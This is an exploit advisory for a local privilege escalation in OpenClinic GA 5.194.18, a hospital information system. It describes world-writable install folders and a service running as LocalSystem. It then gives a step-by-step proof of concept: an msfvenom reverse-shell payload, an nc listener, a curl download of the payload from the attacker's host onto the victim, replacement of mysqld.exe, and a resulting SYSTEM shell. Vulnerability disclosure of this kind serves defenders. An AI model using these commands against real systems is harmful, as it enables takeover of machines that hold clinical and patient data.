OpenClinic GA 5.194.18 Privilege Escalation

OpenClinic GA version 5.194.18 suffers from a local privilege escalation vulnerability.


MD5 | 7779a9723079ebc5cce4b8d11f7f14ba

# Exploit Title: OpenClinic GA 5.194.18 - Local Privilege Escalation
# Date: 2021-07-24
# Author: Alessandro Salzano
# Vendor Homepage: https://sourceforge.net/projects/open-clinic/
# Software Homepage: https://sourceforge.net/projects/open-clinic/
# Software Link: https://sourceforge.net/projects/open-clinic/files/latest/download
# Version: 5.194.18
# Tested on: Microsoft Windows 10 Enterprise x64

Open Source Integrated Hospital Information Management System.
OpenClinic GA is an open source integrated hospital information management system covering management of administrative, financial, clinical, lab, x-ray, pharmacy, meals distribution and other data. Extensive statistical and reporting capabilities.

Vendor: OpenClinic GA.

Affected version: > 5.194.18

# Details
# By default the Authenticated Users group has the modify permission to openclinic folders/files as shown below.
# A low privilege account is able to rename mysqld.exe or tomcat8.exe files located in bin folders and replace
# with a malicious file that would connect back to an attacking computer giving system level privileges
# (nt authority\system) due to the service running as Local System.
# While a low privilege user is unable to restart the service through the application, a restart of the
# computer triggers the execution of the malicious file.

The application also have unquoted service path issues.

(1) Impacted services.
Any low privileged user can elevate their privileges abusing MariaDB service:

C:\projects\openclinic\mariadb\bin\mysqld.exe


Details:


SERVICE_NAME: OpenClinicHttp
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : c:\projects\openclinic\tomcat8\bin\tomcat8.exe //RS//OpenClinicHttp
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : OpenClinicHttp
DEPENDENCIES : Tcpip
: Afd
SERVICE_START_NAME : NT Authority\LocalServic

--------

SERVICE_NAME: OpenClinicMySQL
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : c:\projects\openclinic\mariadb\bin\mysqld.exe --defaults-file=c:/projects/openclinic/mariadb/my.ini OpenClinicMySQL
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : OpenClinicMySQL
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem


(2) Folder permissions.
Insecure folders permissions issue:


icacls C:\projects\openclinic
C:\projects\openclinic Everyone:(I)(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)





# Proof of Concept

1. Generate malicious .exe on attacking machine
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.102 LPORT=4242 -f exe > /var/www/html/mysqld_evil.exe

2. Setup listener and ensure apache is running on attacking machine
nc -lvp 4242
service apache2 start

3. Download malicious .exe on victim machine
type on cmd: curl http://192.168.1.102/mysqld_evil.exe -o "C:\projects\openclinic\mariadb\bin\mysqld_evil.exe"

4. Overwrite file and copy malicious .exe.
Renename C:\projects\openclinic\mariadb\bin\mysqld.exe > mysqld.bak
Rename downloaded 'mysqld_evil.exe' file in mysqld.exe

5. Restart victim machine

6. Reverse Shell on attacking machine opens
C:\Windows\system32>whoami
whoami
nt authority\system


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